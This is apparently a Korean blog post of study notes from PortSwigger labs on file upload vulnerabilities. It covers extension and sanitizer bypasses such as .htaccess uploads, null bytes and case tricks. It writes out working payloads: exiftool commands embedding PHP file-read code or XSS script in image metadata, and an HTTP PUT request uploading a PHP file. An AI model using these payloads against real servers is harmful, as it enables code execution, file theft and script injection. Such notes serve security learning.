2025. 7. 7. 23:43ㆍWeb Security/bugbounty & PortSwigger
file upload 취약점의 경우 apache에서 php파일 혹은 기타 .php5 등의 파일을 올려서 RCE등을 하는 취약점이다.
Login
PortSwigger offers tools for web application security, testing & scanning. Choose from a wide range of security tools & identify the very latest vulnerabilities.
portswigger.net
해당 공격기법이다. 즉 헤더나 foot를 보는 세니타이저를 bypass하기 위해서 jpg에 php코드를 삽입하는 방식으로 bypass하는 것이다. 만약 확장자가 필터링 중이라면 .htaccess 파일을 올려서 혹은 /etc/apache2/apache2.conf 해당경로를 덮어 씌워서 bypass할 수 있다는 사실도 알게되었다.
이외에도 %00, pHP 등을 통해서 확장자 bypass를 할 수 있을 것 같다.
단순히 파일 실행외에도 파일를 jpg로 올리고 해당 jpg에 nosniff 설정이 없다면 html를 넣어서 xss 까지 가능할 것 같다.
아래는 PDF 파일로 xss
https://medium.com/@bcarikci-dev/file-upload-via-stored-xss-8b143a3d98b7
File Upload via Stored XSS
Greetings everyone, I wanted to write an article about the Stored XSS vulnerability that I obtained due to the incomplete configuration in…
medium.com
아래는 이미지파일로 xss
https://hackerone.com/reports/964550
Shopify disclosed on HackerOne: XSS Stored via Upload avatar PNG...
hackerone.com
만드는 방법은 아래와 같다.
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" 다운로드.jpg -o polyglot.php
위의 것은 php 파일 업로드를 하는 것이고,
exiftool -Comment="\"><script>alert(prompt('XSS BY ZEROX4'))</script>" xss_comment_exif_metadata_double_quote.png
+) PUT 속성을 이용한 파일 업로드 공격
It's worth noting that some web servers may be configured to support PUT requests. If appropriate defenses aren't in place, this can provide an alternative means of uploading malicious files, even when an upload function isn't available via the web interface.
PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49
<?php echo file_get_contents('/path/to/file'); ?>
기본적으로 PUT이나 DELETE를 허용안하기에 해당 부분은 힘들다.
'Web Security > bugbounty & PortSwigger' 카테고리의 다른 글
Click jacking bypass CSRF token (0) | 2025.07.09 |
---|---|
WebSockets Vulnerability (0) | 2025.07.02 |
Blind SQL injection with time delays and information retrieval (0) | 2025.06.22 |
blind SQL injection by triggering conditional errors (0) | 2025.06.21 |
버그 바운티 RECON. feat hackerone (1) | 2024.10.25 |